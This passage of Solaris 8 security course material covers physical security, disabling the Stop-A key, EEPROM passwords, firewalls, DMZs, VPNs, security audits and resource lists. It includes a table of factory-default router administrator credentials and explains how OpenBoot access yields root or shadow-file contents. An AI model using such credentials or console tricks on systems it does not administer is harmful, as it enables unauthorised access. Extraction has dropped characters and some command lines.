As with any risk, you must strike a balance between the likelihood of
attack and the cost of preventative measures.
Securing IT Equipment
Physical access to all IT equipment should be restricted to as few people as
possible and only to authorized personnel. While this should be possible
for servers, it is difcult, if not impossible, to enforce for workstations
(including PCs and laptop PCs).
Place all servers in restricted-access machine rooms or rooms that can be
locked, and control who has access to those locations.
Where practical, put the workstation systems into locked cupboards and
only give users access to the screen, keyboard, and mouse. Use extension
cables for the peripheral equipment to facilitate this conguration.
Consider removing or disabling removable media devices, such as
diskettes, CD-ROMs, tape backup, DVDs, and even the parallel port on
PCs which can be used with portable disks and tape devices such as
Iomega Zip drives.
Note It has been known for a site to use superglue to prevent diskette
devices from being used.
Use low-level EEPROM or BIOS security to enable administrator
passwords for all unsecured equipment, to ensure that only password
holders can reboot systems into a maintenance or administration mode.
Using passwords with SPARC equipment prevents an unauthorized user
from booting the Solaris OE into single-user mode, which gives the user
root access.
Remember that users might have access to installation media and
hardware diagnostic media which they can use to bypass some (or all) of
the security measures in place, unless you prevent physical access to the
system devices.
Implementing Physical Network Security
Network security is a vast and complex area due to the sheer scale of
modern networks. Some of the network areas that must be secured are:
G Local Area Network (LAN)
G Routers
G Firewalls
G Wide Area Network (WAN)
G Physical cabling inside your organizations buildings
G Physical cabling used by telecommunications companies
G Microwave transmissions as an alternative to physical cabling
G Satellite communications
Securing Network Infrastructure
This subject is too broad and specialized to be presented in this course.
However, there are some techniques that you can use within your
organization to remove some of the more obvious threats:
G Only allow authorized systems to connect to your network.
Do not allow consultants or contractors to use their own equipment
to access the network. Always provide them with a system to use
which you have properly secured.
G Always use star network topologies connecting all systems
individually back to a hub.
Do not use thick or thin ethernet cabling because it is easy to tap
into.
G Only connect required ports when using structured wiring systems.
Do not leave unused live ports in user-accessible areas, because these
ports can be plugged into by unknown equipment.
G Audit the physical cables into hubs, switches, and routers on a
regular basis.
All networks should have an approved network diagram, so that you
can check what is present against what should be present.
G Use a monitored hub.
G Use hubs that reportusually by means of a separate serial linkon
the status of their ports. While primarily intended as a means of
network troubleshooting, they also provide a valuable tool for
security monitoring.
G Ask users to leave all computers switched on at all times and poll the
computers on a regular basis to verify their identity. Use the low-
level MAC address on the network card and maintain a database of
ports to MAC address mappings to detect inconsistencies.
G Laptops are a problem area because you would not expect them to
be left in the ofce overnight, but it is still possible to verify whether
a MAC address is that of a known machine. Laptop users can also
change network PC cards that have different MAC addresses. It is
better to have a few false alarms than an intruder attacking your
network.
G Always lock communications rooms containing hubs, routers, patch
panels, and other network infrastructure.
G Do not allow users to plug into hubs or change patch panel settings.
G Try to use ber optic cables if possible.
It is a lot harder to tap into a ber cable than an electrical cable.
Appraising the Risk of Eavesdropping
One nal consideration is the electrical equipment itself. All electrical
cables leak a certain amount of electromagnetic radiation which can be
detected by specialized monitoring equipment (essentially a sophisticated
radio receiver). This eavesdropping equipment is expensive but can work
at a range of a few hundred yards (meters).
Some products can pick up monitor screen radiation and reconstruct the
screen image in real time. Some movement detectors can track key presses
and mouse movements remotely.
The central processing unit (CPU) in a server or workstation is also
vulnerable. The type of electromagnetic signal generated by the processor,
when performing what is known as big number arithmetic, is highly
characteristic and can be scanned. It is possible to analyze the signal and
reconstruct the content of the registers at the time of the scan, thereby
providing the exact numbers used in the encryption engine.
This might sound like science ction but these products exist and they are
used. They might not be 100 percent accurate, cheap, or easy to use but,
given time and development, they will become foolproof. The lm
Entrapment (Twentieth Century Fox, 1999) showed how physical
monitoring can gather sensitive information as part of a plot to break into
a multi-national banking system. This might be a ctional plot line, but do
not assume that it cannot happen in the real world. Attacks of this nature
have been made.
The solution to these forms of attack is to audit the location of the
sensitive device (monitor, CPU, and so on). Establish the level of risk and,
if necessary, screen off electromagnetic radiation with a Farraday cage,
that is, an earthed box of a conductive material to absorb the emitted
electromagnetic radiation.
Note In the nineteen eighties, the U.S. government developed a
certication system called TEMPEST which rates a computer equipments
susceptibility to radio eavesdropping. It is now possible for rooms and
even whole buildings to be TEMPEST certied.
HowSecure Is Your Network?
With regard to your own ofces, consider the following:
G How many of the computer screens and keyboards can be seen
through windows from nearby buildings?
G Do any of your network cables run within 100 yards of a road,
parking lot, park, shop, or anywhere else where the public can
legitimately walk by or stop?
Using Encryption
The pessimistic way of looking at data security is to assume that all
physical security is compromised and that data can be read by anyone.
Encryption provides a fallback for ensuring that sensitive data is only
accessible to authorized personnel.
It must be understood that there is no such thing as unbreakable
encryption. Any current crypto-systemcan be analyzed given enough time.
It is the aim of the cryptographer to lengthen that timespan. Nevertheless,
some commercial crypto-systems are so effective that it would take
decades or even centuries to crack them.
The case for and against encryption can be summarized as follows:
G Benets of encryption:
G Data is secured from unauthorized access, even when made
public.
G Data is easily restricted by key management on a need-to-know
basis.
G Problems associated with encryption:
G The additional encryption layer slows data access.
G Keys must be managed and kept secure. A key that becomes
known is no longer secure.
G If the decryption key is lost, the related data is also lost.
Strengthening Help Desk Processes
The most common form of a security break-in is when an intruder phones
the help desk or an administrator and asks for the password on an
account to be reset. As long as the intruder knows a valid account name,
this attack succeeds more times than it fails.
As a result, many help desks implement safeguards to ensure that the user
requesting the password change is the owner of the account. That is, they
authenticate the user who is requesting the change.
User Authentication Techniques
The following is a list of some common user-authentication techniques,
along with their disadvantages:
G Ask users to physically go to a help desk to be veried:
G Help desk staff might not know every person by sight.
G Even when this approach is backed up with the use of user ID
badges, ID badges can be falsied or stolen.
G Users and the help desk might not be located within close
proximity of each other.
G Ask users to supply additional identication information such as a
personnel number or a passphrase created when the users account
was created:
G This form of additional data can easily be discovered by
listening to a valid user talking to the help desk, or by browsing
company documentation.
G Passphrases must be memorable to users (and therefore
guessable by intruders), and they must be stored somewhere
where they can be accessed by help desk staff, thereby
compounding the security risk.
G Ask users to email requests from another system:
G Not all users have accounts on more than one system and
networks based on NIS+, Microsoft Windows NT, Netware, or
Kerberos effectively use single network login mechanisms to
access all systems.
G SMTP email can be easily spoofed.
G Ask users to submit a written request signed by their supervisor or
manager. Intruders can forge the written request so then help desk
staff must contact the supervisor concerned and verify authorization
of the password change. This is a slow process (supervisors might be
in meetings) which penalizes legitimate users who cannot continue
working while the password is being reset.
G Conrm user identity by phoning the user back on their known
extension (or mobile phone):
G Intruders might be at the users desk or have borrowed the
users phone.
G Genuine users might not be able to get to their usual phone.
G Not all users have individual phones, and often a supervisor
must be contacted instead of the user.
G Phones can use redirection and call-forwarding to transparently
route the call to any other phone.
G Use a trusted third party, such as a supervisor or manager, to make
the request and receive the password:
G The trusted third party still has to be authenticated.
G This solution reduces the number of users who can ask for
password changes, which can slow operations in a large
organizations.
Regrettably, there is no effective solution to the problem of authenticating
user identity. Nevertheless, any of the above precautions are better than
having none in place at all.
Applying Physical Security Measures
Any software security system that can be started on a machine can also be
stopped. This is the major weakness of software security. Securing
physical access to a workstation or server is, therefore, every bit as
important as taking software measures.
The Stop-A Key
On hardware based on SPARC technology, the OpenBoot utility interacts
with the hardware to control access to the system. From the point of view
of security, the most serious risk of intrusion is the Stop-A key
combination. If the Stop key and the A key are held down on the
keyboard of the physical machine (not from a terminal) at the same time,
the effect suspends all Solaris OE activity and returns the system to the
command monitor (OpenBoot).
From the OpenBoot monitor a user can:
G Reboot the system in single user mode, gaining access to the system
as the root user.
G Examine memory contents, potentially picking up key information.
Many les are cached in memory and it is quite likely that the
/etc/shadow information can be found.
G Load data from physical devices, allowing the user access to any le
on the disk, bypassing all security checks.
Disabling the Stop-A Key
Disable the Stop-A key by adding the following line to the /etc/system
le:
set abort_enable = 0
Remove this line or set it as follows to enable the Stop-A key:
Alternatively, uncomment the following entry to the /etc/default/kbd
le:
KEYBOARD_ABORT=disable
Reboot the system after changing the /etc/system or
/etc/default/kbd files because these files are only read when the
system boots up.
Enabling EEPROM Security
Workstations are generally contained in reasonably secure areas, even if
only in an ofce. However, there are circumstances in which it is advisable
to further protect against physical access to a system. You could use some
form of physical keyboard lock. You could also consider the option of
EEPROM password control.
If an intruder has access to low-level rmware software (the EEPROM
monitor), they can alter low-level system functionality. They could bring
the system to a low-run level, then make alterations to the kernel or
programmable read-only memory (PROM) level functions. To do this, the
intruder must be physically at the computer that they are attempting to
breakin to. In addition to physical presence, this type of attack also
requires signicant knowledge of the system concerned. Nevertheless, this
type of attack could be a security concern.
Note Most manufacturers provide a means of changing EEPROM data.
This can differ from one type of hardware to another, and great care must
be taken not to corrupt a system accidentally. The following technique
discusses the OpenBoot utility and is applicable only to hardware based
on SPARC technology. Check with your hardware vendor before using
this technique.
Hardware based on SPARC technology provides a security lock at the
EEPROM level. Set the security level from the OpenBoot prompt
(EEPROM level) or by using the eeprom(1m) command.
By using the eeprom command with the proper options, you can assign a
password and security level to the machine. After issuing the command,
reset the system. From then on, a password is required each time to
perform specic commands when the system has been brought to the
OpenBoot (EEPROM) prompt.
OpenBoot runs in two modes:
G Full access, where all commands are available
G Restricted access, where only the c (continue), b (boot), and
n (none) commands are available for returning to full access
There are three levels of EEPROM security:
G none Full access to the OpenBoot where any command can be
typed and no password is required.
G command Restricted access, where the user can use the c or b
commands without a password. A password is required if the user
wants to use the n command to return to full access, or if a parameter
is used with the b command (for example, to boot single-user mode).
G full Restricted access where all commands except c require a
password.
Warning Do not attempt to change the EEPROM during this course. If
for any reason the password is forgotten or unavailable, the computer is
rendered useless. To remedy the situation, the EEPROM device should be
physically removed from the system and reprogrammed.
EEPROM Passwords
To set the EEPROM security mode to command, use the following
command:
# eeprom security-mode=command
When the EEPROM security mode is set to a value other than none, set
the security password with:
1 # eeprom security-password=
2 Changing PROM password:
3 New password: ******
4 Retype new password: ******
If you enter an incorrect password, the system delays for approximately
10 seconds before displaying the boot prompt again.
The number of times that an incorrect password is entered is stored in the
security-#badlogins variable of the non-volatile random access
memory (NVRAM). Check the value of this parameter to see if someone
has attempted to use the EEPROM monitor without knowing the
password.
Use the command below to check the number of login attempts:
# eeprom security-#bad-logins
security-#bad-logins=0
Exercise: Working With Physical Security
Exercise: Working With Physical Security
G Disable the Stop-A key
G Consider the physical security of your own systems
Preparation
Task Disabling the Stop-A Key
Use the Stop-A key to access the OpenBoot rmware and browse the help
information. Resume your system operation and disable the Stop-A key.
Verify that you can no longer use the Stop-A key.
Re-enable the Stop-A key.
Task Considering the Physical Security of Your
Systems
This is a pen and paper exercise. List your thoughts under the following
headings:
G How is physical access to your data centers controlled?
G How is physical access to your networking equipment controlled,
especially hubs, switches, and routers not located in the data centers?
G Do your users have access to physical workstations (including PCs)
rather than having access only to screens, keyboards, and mice?
G Do you allow contractors or consultants to plug their own
equipment into your network?
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
This section provides the solutions for the exercises in this module.
Disabling the Stop-A Key
Use the Stop-A key to access the OpenBoot rmware and browse the help
information.
Resume your system operation and disable the Stop-A key by adding the
following line to the /etc/system le:
Reboot the system for this change to take effect.
Verify that you can no longer use the Stop-A key.
Re-enable the Stop-A key by removing from the /etc/system le the line
that you added earlier.
Reboot the system for this change to take effect.
Considering the Physical Security of Your Systems
Only you or someone in your organization can answer these questions.
18-1
Module 18
ConnectingtheEnterpriseNetworktothe
OutsideWorld
Objectives
G Explain the importance and role of rewalls, proxy servers, and other
enterprise network security components
G Describe ongoing security tasks
G Explain the role of security audits
G List common sources of security information
Relevance
Relevance
?
!
Discussion By now, you are aware of the potential dangers to
networked hosts. However, it is not ideal to rely solely on host security to
ensure enterprise security when connecting to external networks, such as
the Internet.
G What types of technologies might be used to protect an enterprise
network when connected to the Internet?
Connecting the Enterprise Network to the Outside World 18-3
G Zwicky, Elizabeth D., Simon Cooper and D. Brent Chapman. Building
Internet Firewalls. 2nd Edition. OReilly & Associates, 2000.
G Cheswick, Bill and Steve Bellovin. Firewalls and Internet Security:
Repelling the Wily Hacker. Addison Wesley, 1994.
G Comer, Douglas and David Stevens. Internetworking with TCP/IP.
Vols. I (1997), II (1998), and III (2000). Prentice Hall.
Designing the Network to Improve Security
The primary reason to network computers together is communication.
Unfortunately, given the widespread status of virus and Trojan code, and
with increasing numbers of potential intruders present on the Internet, a
defensive strategy is vital. The corporate network, the data it holds, and
the hosts that form part of it are all valuable assets that need protection
from improper use.
You can use various tools and products to secure the boundary between
the enterprise network and the outside world. This section looks at the
common components and the ways in which they are applied.
Improving Security With a Firewall
The term rewall is used in different ways by different people. However,
the primary objective of a rewall is to monitor all network trafc
between two networks (usually a corporate network and the Internet),
and to block and log inappropriate trafc. A rewall can be made up of
multiple components, including (but not limited to):
G Packet lters that control access to the network based on the source
or destination IP address of a packet
G Proxies, which hide the real address of a host on the corporate
network when the host connects to the outside world
G Protocol-based software that uses knowledge of higherlevel
protocols, such as TCP or SMTP, to identify dubious network activity
The rewall functionality can be spread across multiple hosts and routers,
or it can be encapsulated within a single host. When people talk about
installing a rewall, they are frequently referring to the installation of a
piece of software that includes some or all of these components.
Firewall software is based on rules. Some rules act to specically allow
particular types of network trafc between certain network addresses.
Other rules explicitly block network trafc, by dropping the network
packets. For each type of packet (or datagram), a separate rule can be
established, either permitting or blocking the passage of the data. Implicit
rules cover those packets not accounted for by the explicit rules.
Ideally, the two networks that a rewall manages should be separated on
different network adapters and on different subnets. As always with
security, it is prudent to assume that no rewall is subversion-proof.
Therefore, if the two networks (the outside network and the inside
network) are physically separated, and exist with differing subnet
settings, it follows that if the rewall fails, the connection between the two
networks must also fail. (The converse is that, the rewall fails, the
network is left exposed.) In other words, the rewall should fail closed
rather than fail open.
Firewalls do not prevent attacks by virus or Trojan writers, but they are
highly effective at preventing intrusion. Firewalls have another, perhaps
more important function. Companies frequently have extremely valuable
data stored on their networks. It is quite easy for someone to inadvertently
(or intentionally) publish such data on the company intranet. A rewall
can prevent that data from being visible to the outside world unless it is
loaded onto an audited portal.
One of the most important features of rewalls is logging. There are two
logging features:
G log on success Events resulting in passage through the rewall are
logged.
G log on deny Events resulting in refusal of passage through the
rewall are logged (this is the more usual option).
Examination of the rewall log can be most informative. For example,
attempts by a user to connect to one of the Internet virtual hard drives
might indicate an attempt to pass company-condential data outside the
company; port scans from the outside are an early indication that
someone is preparing an attack on your system.
Using Solaris SunScreen Firewall
SunScreen software is a rewall designed to operate with the Solaris OE.
As with other rewalls, there is a server, called the screen, and an
administration tool, designed to allow insertion and implementation of
rules.
SunScreen comes in two versions:
G SunScreen Secure Net 3.1 is a full-featured rewall product designed
to be deployed throughout an organization to implement a secure
business network including extranets, secure intranets, and remote
access.
G SunScreen 3.1 Lite is a rewall product designed to protect
individual servers or very small workgroups.
SunScreen software can support up to 15 separate network interfaces,
meaning that up to 15 potential net-cards can be supported. This makes
SunScreen one of the more powerful rewalls. Another advantage in
using SunScreen software is that it incorporates a useful proxy-server
capability.
High availability conguration enables SunScreen software to quickly
recover to a second screen without losing rewall or encryption sessions.
If a rewall is successfully attacked and goes ofine, the highavailability
features enable a second rewall to take over the compromised rewall or
encryption sessions.
SunScreen consists of a rules-based, dynamic packet-ltering engine for
network access control, and an encryption and authentication engine that
enables the creation of secure virtual private network (VPN) gateways by
integrating public-key encryption technology.
SunScreens stealth capabilities refer to the ability to congure the
screen such that it cannot be accessed using an IP address. This provides
two benets for securing a network:
G Potential intruders cannot access the machine running SunScreen
Secure Net, making it extremely difcult to compromise this system.
G Installation of SunScreen Secure Net is easier because it can be
installed without changing the routing tables.
SunScreen uses open-standard SKIP (Simple Key-management for
Internet Protocols) technology for encryption, authentication, access
control, and secure VPNs. SunScreen SKIP includes support for many
strong, standards-based authentication, encryption, and integrity
technologies, including 4096-bit Dife-Hellman modulus and the new
Dife-Hellman primes.
Evaluating IPsec as a Firewall Replacement
You might think that IPsec does away with the need for a rewall. Some
people would argue that adopting IPsec removes the problem of
unknown hosts inltrating the system. It is possible to congure IPsec in
such a way that only fully authenticated, encrypted data passes onto a
given network. The problem is that when you congure IPsec in this way,
it is almost certain that you will lose all Internet connectivity, and a lot of
other inter-networking as well.
It is therefore better to regard the two technologiesa rewall and
IPsecas complementary. IPsec controls the basic ow of IP trafc onto
the network, and the rewall provides a suitable bottleneck for restricting
the types of packets transferred between networks.
Using Routing Security Features
Routers are devices (usually, but not always, hardware) that redirect
packets from one network (or subnetwork) to another network. It is not
accidental that this description of a router resembles the description of a
rewall. In many respects, rewall software performs the same tasks as a
router. Many rewalls use one or more routers as part of the overall
security solution, largely due to the ability of routers to lter packets as
they pass them from one network to the other. The rules that govern this
ltering are usually held in EEPROM.
There are many different types of routers available, and each is
programmed in a slightly different manner. Some of the more common
types are shown in Table 18-1.
Table 18-1 Common Types of Router
Type Normal Usage
Simple Connection between LANs
Gigabit High bandwidth, ultra high-speed routing
Routers operate by means of routing tables. Typically, these include the
following information:
G The name of the route (for convenience only).
G The active status of the route (active or inactive).
G Destination IP address Routers work between IP addresses. The
destination address can be (and might well be) a gateway to another
network.
G IP subnet mask Routers typically redirect packets between
networks. This means that redirection between subnets is also
possible, and advisable.
G Gateway IP address If packets are destined for a local network,
they are passed directly to the host. If they are destined for any other
network, they are passed to the next gateway (router), as dened by
this address.
G Private (true or false) Routes can be public or private. While the
terminology might differ, this usually implies that special ltering or
encryption is applied.
G Filters Filters comprise a separate set of tables, each containing a
recognized fragment of an IP packet type. As with rewall software,
the packets identied by the lters can be allowed or disallowed.
You can control and restrict packets attempting to leave the system by
applying the correct lters and suitable encryption.
DSL Managed asynchronous connection
ISDN Combination of an ISDN 2e terminal adapter
with a limited function router (usually
limited to 10 static routes)
PSTN Combination of an PSTN modem with a
limited function router (usually limited to 10
static routes)
Table 18-1 Common Types of Router (Continued)
Type Normal Usage
Masking Hosts Using a Proxy Server
In its simplest form, a proxy server stands in for an IP client connecting to
the outside world. The proxy has an IP address of its own (usually
0.0.0.0). When a client makes a request for a connection, the proxy
forwards the connection to the original target, but the request registers as
having originated from the proxy, not the requester. At the same time,
requests can be ltered through the proxy (for example, for restricted or
unsuitable sites), and outgoing data can be blocked or allowed according
to type and origin. Returned data can likewise be checked for type
suitability. Unsuitable content (Java technology code or ActiveX controls)
can be blocked, or even removed. Because the request comes from a single
daemon, it is safe to block non-essential ports (to prevent port scan
attacks) and impossible for the outside world to establish the IP address
of the original requester, or indeed to perform any analysis of the
connection.
Proxy software has advanced well beyond its original concept, and in
many cases has become conjoined with rewall technology to construct
what might be called a defensive perimeter, that is, a combination rewall
and proxy server. Most modern proxy offerings now include proxy DNS
support, SSL encryption, and FTP ltering. There is often a further
advantage. Because proxy servers must cache data returns so that the data
can be forwarded to the requester, it follows that the cache provides a
major speed increase for much-used network connections because the
data is held in RAM, not accessed from the Internet. Documents, and even
entire sites, can be preloaded into the cache, or scheduled to load.
A fairly good, Open Source implementation of a fully cached proxy server
is available at the following URL: http://www.squid-cache.org/.
Securing Routers, Proxy Servers, and Firewalls
Routers, rewalls, and proxy servers protect administrative functions by
using passwords. These passwords must be kept private, because anyone
with the appropriate password can change routing tables, and recongure
rewalls or proxy servers.
Certain rewall components, such as routers, tend to have precongured
passwords, to make it easy for the administrator to install and congure
them. However, some of these passwords are now common knowledge.
Therefore, you must change such passwords before the device or software
is deployed as part of a rewall system. Some example preset
administrative accounts and passwords for common routers are shown in
Table 18-2.
You must also remember that routers are usually accessed through a
remote terminal. For this reason, you should change passwords regularly
and limit knowledge of them to a very few individuals. If possible, you
should disable remote connection to rewall components, and enforce
administrative changes through the physical console.
Table 18-2 List of Preset Router Administrative Accounts
Manufacturer Username Password
Bay Networks Manager <null>
3com admin synnet
debug synnet
manager manager
Cisco enable cisco
(telnet) cisco
Shiva root <null>
Motorola cablecom router
Creating Demilitarized Zones (DMZ)
The term demilitarized zone (or DMZ) refers to a part of the LAN that is
between two rewalls. One rewall separates the DMZ from the internal
LAN, while the other separates the DMZ from the outside world. The
DMZ is an area that permits limited, free communication, but maintains a
secure prole for the bulk of the private LAN. It is common to site
publicly visible hosts, such as Web servers and FTP servers, on the DMZ.
The DMZ provides an expendable area. If the area becomes contaminated,
or security is compromised, then the entire zone can be rebuilt without
damaging the internal network or its data.
Providing Secure Access Using a Virtual Private
Network
A Virtual Private Network (VPN) uses encryption to create a secure
channel between two hosts (or networks) as they communicate over an
insecure networkusually the Internet. Each host communicating over a
VPN is typically connected to a local network, but with access to the
Internet. Communication between the two networks is achieved by
tunneling, that is, encrypting all data that passes back and forth
between the hosts. VPNs can exist between an individual machine and a
private network (client-to-server), or a remote LAN and a private network
(server-to-server). A typical VPN architecture is shown in Figure 18-1.
Figure 18-1 Architecture of a Virtual Private Network
There are two basic types of VPN:
G Hardware VPNs are essentially encrypting routers. They have a very
high bandwidth and are easy to install. They do not, however, offer
the exibility of a software solution.
G Software VPNs range from rewalls which support encryption, to
VPN clients, which run on individual workstations.
VPNs are available from a variety of vendors, but can also be constructed
using IPsec and rewalls. There is no denitive rule as to the type of
security that they offer, but strong encryption and authentication are
usually regarded as mandatory.
Constructing a VPN
The rst stage in building a VPN is to decide on the level and type of
encryption. You would usually apply encryption by conguring IPsec
system-wide. A crucial factor is the packet ltering, that is, ltering
whether packets have the IPsec authentication header, rather than only
trusting the IP address. By this method, the interconnected machines
know which other machines they are talking to, just as they would if the
network were completely closed.
The VPN is now almost complete. For the simplest VPN, the only
remaining task is to apply the appropriate lter sets to the rewall, so that
packets between the IP addresses known to be on the VPN are allowed,
but others (on the same circuit) are dropped.
Sample Architectures
This section describes two network architectures. The rst shows an
architecture that is considered secure for most environments. It is
sufcient for organizations that do not allow uncontrolled access to the
network. In practice, this usually means that there is no Internet service.
The second example is required for all sites that provide an Internet
service or where security threats are particularly high.
Example 1: Normally Secure Network
The conguration shown in Figure 18-2 is the minimum security that
should be employed on any network connected to the outside world.
Figure 18-2 Filtered Router and Firewall Network
In this example, the outside world never sees the network because it is
connected through a ltered router and a rewall. Packets from the
outside world are subjected to a set of rules. Only certain packets are
allowed through the router to Netcard A, which is part of the rewall
machine. The router discards all other packets. Thus, the router does not
allow any direct access from the outside world to any Web servers, even
though the trafc is destined for TCP port 80, usually thought of as a safe
destination. All trafc must pass through the rewall, which makes
decisions about the types of connections allowed (FTP, HTTP, and so on).
Because Netcard A and Netcard B are not physically connected, packets
only pass if the rewall explicitly allows passage. Firewalls of this type
default to disallow packets, which means that nothing passes through
the rewall unless it is explicitly allowed to do so.
A minimally secure network would have this type of conguration.
Example 2: Highly Secured Network With Subnet
In this example, shown in Figure 18-3, there is a higher level of security,
provided by a switch or router between the internal network and the
rewall.
Figure 18-3 Network Incorporating DMZ
This is the minimum level of protection that should be used when
external connections are allowed to internal Web servers. Commonly,
this serves to form a DMZ between the internal router and the
rewall on which company Web servers reside. This means that the
company Web servers are afforded the protection of the rewall but,
if one of those Web servers is subverted, the intruder must still
defeat the internal router to access the internal network. Because all
failed attacks are (by default) logged, it is possible that the
administrator would notice an attack pattern on the router, and take
preventive action.
Running Enterprise Security Audits
The security audit is an ongoing task for any organization. This type of
audit usually includes the following points, although the list is not
complete:
G Has the le system been hardened?
Use of Titan, ASET, or both.
G Are the le systems audited on a regular basis?
Use of Solaris OE Fingerprint DB or TripWire.
G Are all non-shared data areas hidden?
G Have all unnecessary network services been disabled?
G Is the appropriate level of encryption applied to network trafc?
Use of OpenSSH, SSL, or IPsec
G Is authentication applied to network trafc? If not, is this
appropriate?
Use of TCP Wrappers and host access
G Are defenses for network scanning in place?
Use of Courtney, Gabriel, or PortSentry
G Are the routers congured so that anything that is not explicitly a
dened route is forbidden?
G Are the rules for the rewall documented?
Conrm that the documented rules for the rewall are actually
implemented by the rewall.
G Conrm that the rules for the proxy server (if any) are those actually
in place.
Challenge the proxy server from outside the network.
G Run SAINT (or a similar tool) to establish if any new, or existing,
security holes are present.
G Document the results of the audit in a report.
Running Trial Attacks
This course covered the effectiveness of tools such as SAINT in the
analysis of network security (see Module 12, Analyzing Network
Services). These tools are valuable in that they can perform regular
attacks on internal networks to ensure the continued security of the hosts
on those networks. Such challenges to security represent a vital part of the
continuing process of security and you should perform them on a regular,
scheduled basis.
Using Third Parties to Run Trial Attacks
Many companies offer the services of both security professionals and
ethical hackers to challenge networks. This kind of service, when well
done, is a useful addition to the internal audit, but does not replace it.
Obviously, there are certain dangers. The greatest of these dangers is that
the auditing company is not what it seems to be. You should therefore
carry out certain checks, such as:
1. Are the security consultants each individually accredited to a
professional (chartered) organization (for example the IEEE, or
British Computer Society)?
2. In Europe, individuals must be chartered as experts before they can
legally represent themselves as experts. Are the security experts
chartered?
3. Has the company produced a full, and commented, plan for the
audit?
4. Do the consultants carry sufcient liability insurance?
In some countries, governmental organizations hire out their own staff to
perform security audits. Using such staff is highly recommended because
they have a high degree of competence, and have been tested by a
security service. Similarly, the consultancy arms of the vendors of security
hardware and software, for example, Sun Professional Services, have large
amounts of experience in performing security audits and are aware of the
latest threats and patches.
Applying Ongoing Network Security Measures
Implementing security must not be considered as a one-off task. Security
is an integrated, ongoing task that must take a high priority in the
scheduled tasks every day. An administrator must frequently monitor and
analyze all logs, otherwise attacks could go unnoticed. Also, new security
holes are being exposed by intruders on a weekly basis, so you must
ensure that the level of protection currently applied is adequate.
Similarly, the network administrator cannot enforce security measures
alone. Consider a scenario where the network administrator on a given
network has designated repositories for certain classes of document
within a company (for example, Secret, Condential, Personal, and
Public). The network le system has been suitably congured to manage
security for these repositories, and access permissions have been
established. That system will fail if the network administrator has not
previously consulted with the general administrator to establish rules as
to which document falls within each class. Without such cooperation,
virtually all documents are likely to be held as Public, even when this
designation is inappropriate.
Identifying Ongoing Tasks
When deciding how to continue the monitoring of a network, there is no
correct answer, but rather a correct way of thinking. This section examines
some of the tasks that should be performed, and the frequency with
which they should be performed.
If setting up a new network or adding a new host, perform a security
audit on the affected host and network.
G Example annual tasks:
G Run the internal security audit procedure.
G Optionally, have the network challenged by external auditors.
G Correct any problems found.
G Example monthly tasks:
G Challenge the system using SAINT (or a similar tool) using the
www.SANS.org top 10 Internet threats as a starting point.
Correct any problems found.
G Examine the routers. Audit for any unauthorized changes.
G Examine the proxy server logs. Submit any anomalies to triage
to establish if a new rule should be applied.
G Example daily tasks, and throughout the day:
G Check that the backups are executed.
G Examine the logs for the rewall and the proxy server for the
last 24 hours. Is there anything to give cause for concern?
G Examine system logs generated by tools such as Courtney.
G Examine network activity at various times through the day.
Is there anything unexpected?
G Check the current connections for the proxy server. Gain an
impression of the type of site being connected. Is there anything
to give cause for concern?
Note The precise list of tasks depends on the type of software deployed
at your site.
Keeping Current With Security Issues
New challenges occur all the time. Intruders are continually attempting to
disrupt and by-pass security, and as soon as one hole is plugged, another
is found. However, the greatest danger is complacency. To avoid
becoming complacent about security, consider consulting with the world-
wide security community regarding new challenges.
Identifying Information Sources
Many sites have been published with world-wide security consultation in
mind. Good sources of information can be obtained at the sites shown in
Table 18-3.
Table 18-3 Sites Offering Security Information
Site Information Offered
http://www.sun.com/
security/
A Sun site, and a good starting point
for Solaris OE systems.
http://www.sun.com/
trustedsolaris/
ts_tech_faq/
Trusted Solaris OE information from
Sun.
http://www.SANS.org Up-to-date information on current
identied intruder techniques and
attacks.
More information sources are supplied in Appendix A.
http://www.cert.org A central clearing house for known
security holes and xes. Particularly
notable are the CERT advisories that
alert administrators to the latest
security breaches.
http://www.w3.org/
Security/Faq/www-
security-faq.html
A general security FAQ site.
http://csrc.nist.
gov/
A security portal, and a good general
starting point.
http://www.gocsi.
com/
A computer crime and security portal.
http://www.security
portal.com/
An up-to-date list of current virus
attacks and UNIX-centric challenges.
http://www.bigadmin
.com
Solaris OE administration site with vast
amounts of information and tools.
ftp://ftp.cerias.pu
rdue.edu/pub/tools/
unix
Comprehensive repository of Solaris
OE tools, formerly known as COAST.
Table 18-3 Sites Offering Security Information (Continued)
Site Information Offered
A-1
Appendix A
On-LineSecurityResources
Advisory and Certication Bodies
CERT
http://www.cert.org
The CERT Coordination Center (CERT/CC) is a center of Internet security
expertise. It is located at the Software Engineering Institute
(http://www.sei.cmu.edu/), a federally funded research and
development center operated by Carnegie Mellon University.
At the CERT/CC, they study Internet security vulnerabilities, handle
computer security incidents, publish a variety of security alerts, perform
research for long-term changes in networked systems, and develop
information and training to help improve security at your site.
INFOSEC - Information Systems Security
Organization
http://www.nsa.gov/isso/index.html
Part of the U.S. National Security Agency (NSA). INFOSEC provides the
solutions, products, and services, and conducts defensive information
operations, to achieve information assurance for information
infrastructures critical to U.S. National Security interests.
Advisory and Certification Bodies
A-2 Administering Security on the Solaris8 Operating Environment
Computer Security Technology Center
http://ciac.llnl.gov/cstc/CSTCHome.html
The Computer Security Technology Center, located at the Lawrence
Livermore National Laboratory, provides solutions to U.S. government
agencies facing today's security challenges in information technology.
They maintain information protection and core-competencies through
high-tech, integrated INFOSEC incident response, product development,
and consulting services.
Security Standards
On-Line Security Resources A-3
Security Standards
The following groups work with security standards.
Common Criteria
http://www.commoncriteria.org
This is currently the only globally accepted security standard. Orange
book and ITSEC standards are obsolete because of this.
National Security Agency (NSA)
http://www.nsa.gov
The NSA National Computer Security Center (NCSC) is responsible for
the security of the Department of Defense (DoD) and intelligence
community. The NSA is also the source of the NSA Rainbow Series of
Publications for Computer Software Security. The Rainbow Series deals with
evaluating trusted computer systems, each publication is a different color;
for example, the Orange book deals with physical security levels, which
control access to the system.
CSRC Computer Security Division
http://csrc.nist.gov/
This site contains information about a variety of computer security issues,
products, and research of concern to federal agencies, industries, and
users. This site is operated and maintained by National Institute of
Standards and Technologys (NIST) Computer Security Division as a
service to the computer security and IT community.
Security Standards
ITSEC (Europe)
http://www.itsec.gov.uk/
ITSEC is all about IT security, making sure that you can trust the
information technology infrastructure on which your organization relies.
Under the UK ITSEC scheme, the security features of IT systems and
products are tested independently of suppliers to identify logical
vulnerabilities. This type of testing is known as security evaluation and it
is carried out against standardized criteria to a formalized methodology.
Certicates are issued by the Scheme for products meeting the
